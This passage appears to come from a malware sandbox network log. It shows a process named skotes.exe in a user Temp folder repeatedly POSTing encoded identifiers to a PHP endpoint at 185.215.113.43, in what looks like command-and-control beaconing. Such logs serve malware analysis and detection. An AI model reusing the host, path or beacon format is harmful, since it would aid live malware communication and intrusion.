Nov 11, 2024 12:45:00.349967003 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:00.989805937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	61384	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:02.615988970 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:03.249247074 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	61385	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:04.766248941 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:05.415631056 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	61386	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:07.033955097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:07.670129061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	61387	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:09.186748028 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:09.834528923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	61388	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:11.452506065 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:12.089545965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	61389	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:13.615662098 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:14.256166935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	61390	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:15.879703999 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:16.517419100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	61391	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:18.030402899 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:18.674396038 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	61392	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:20.310339928 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:20.948539972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	61393	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:22.468034983 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:23.109177113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	61394	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:24.735425949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:25.373564005 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	61395	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:26.892477989 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:27.533993959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	61396	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:29.175921917 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:29.818152905 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	61398	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:31.336652994 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:31.980307102 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	61399	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:33.609906912 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:34.246711016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	61400	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:35.765777111 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:36.548103094 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	61401	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:38.174942017 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:38.827280045 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	61402	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:40.346659899 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:40.989289999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	61403	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:42.619700909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:43.257774115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	61404	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:44.784121990 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:45.429999113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	61405	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:47.051956892 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:45:47.686932087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	61406	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:45:49.204380035 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:45:49.847001076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:45:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
